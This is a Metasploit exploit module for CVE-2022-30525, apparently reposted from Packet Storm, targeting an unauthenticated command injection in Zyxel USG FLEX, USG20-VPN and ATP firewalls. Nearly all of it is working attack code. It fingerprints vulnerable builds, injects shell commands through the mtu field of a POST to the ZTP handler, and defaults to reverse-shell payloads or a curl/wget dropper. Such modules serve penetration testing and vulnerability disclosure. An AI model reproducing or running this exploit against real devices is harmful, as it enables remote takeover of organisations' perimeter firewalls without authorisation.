Zyxel Firewall ZTP Unauthenticated Command Injection ≈ Packet Storm

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  ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Zyxel Firewall ZTP Unauthenticated Command Injection',
'Description' => %q{
This module exploits CVE-2022-30525, an unauthenticated remote
command injection vulnerability affecting Zyxel firewalls with zero
touch provisioning (ZTP) support. By sending a malicious setWanPortSt
command containing an mtu field with a crafted OS command to the
/ztp/cgi-bin/handler page, an attacker can gain remote command execution
as the nobody user.
Affected Zyxel models are:
* USG FLEX 50, 50W, 100W, 200, 500, 700 using firmware 5.21 and below
* USG20-VPN and USG20W-VPN using firmware 5.21 and below
* ATP 100, 200, 500, 700, 800 using firmware 5.21 and below
},
'License' => MSF_LICENSE,
'Author' => [
'jbaines-r7' # Vulnerability discovery and Metasploit module
],
'References' => [
[ 'CVE', '2022-30525' ],
[ 'URL', 'https://www.rapid7.com/blog/post/2022/05/12/cve-2022-30525-fixed-zyxel-firewall-unauthenticated-remote-command-injection/']
],
'DisclosureDate' => '2022-04-28',
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_MIPS64,],
'Privileged' => false,
'Targets' => [
[
'Shell Dropper',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_MIPS64],
'Type' => :linux_dropper,
'CmdStagerFlavor' => [ 'curl', 'wget' ],
'DefaultOptions' => {
'PAYLOAD' => 'linux/mips64/meterpreter_reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end
# Checks the build date that is embedded in the landing page. If it finds a build
# date older than April 20, 2022 then it will additionally check if the model is
# a USG FLEX, USG20[w]?-VPN, or an ATP system. Command execution is blind so this
# seems like a reasonable approach.
def check
res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/'))
unless res
return CheckCode::Unknown('The target failed to respond to check.')
end
unless res.code == 200
return CheckCode::Safe('Failed to retrieve /')
end
ver = res.body[/favicon\.ico\?v=(?<build_date>[0-9]{6,})/, :build_date]
if ver.nil?
return CheckCode::Safe('Could not extract a version number')
end
if ver[0..5].to_i < 220420
model = res.get_html_document.xpath('//title').text
if model.include?('USG FLEX') || model.include?('ATP') || (model.include?('USG20') && model.include?('-VPN'))
return CheckCode::Appears("This was determined by the model and build date: #{model}, #{ver}")
end
end
CheckCode::Safe("This determination is based on the build date string: #{ver}.")
end
def execute_command(cmd, _opts = {})
handler_uri = normalize_uri(target_uri.path, '/ztp/cgi-bin/handler')
print_status("Sending command to #{handler_uri}")
# this is the POST data. exploit goes into the mtu field. technically, `data` is a usable vector too
# but it's more involved.
http_payload = {
'command' => 'setWanPortSt',
'proto' => 'dhcp',
'port' => Rex::Text.rand_text_numeric(4).to_s,
'vlan_tagged' => Rex::Text.rand_text_numeric(4).to_s,
'vlanid' => Rex::Text.rand_text_numeric(4).to_s,
'mtu' => ";#{cmd};",
'data' => ''
}
res = send_request_cgi({
'method' => 'POST',
'uri' => handler_uri,
'headers' =>
{
'Content-Type' => 'application/json; charset=utf-8'
},
'data' => http_payload.to_json
})
# Successful exploitation can result in no response (connection being held open by a reverse shell)
# or, if the command executes immediately, a response with a 503.
if res && res.code != 503
fail_with(Failure::UnexpectedReply, "The target replied with HTTP status #{res.code}. No reply was expected.")
end
print_good('Command successfully executed.')
end
def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
end
end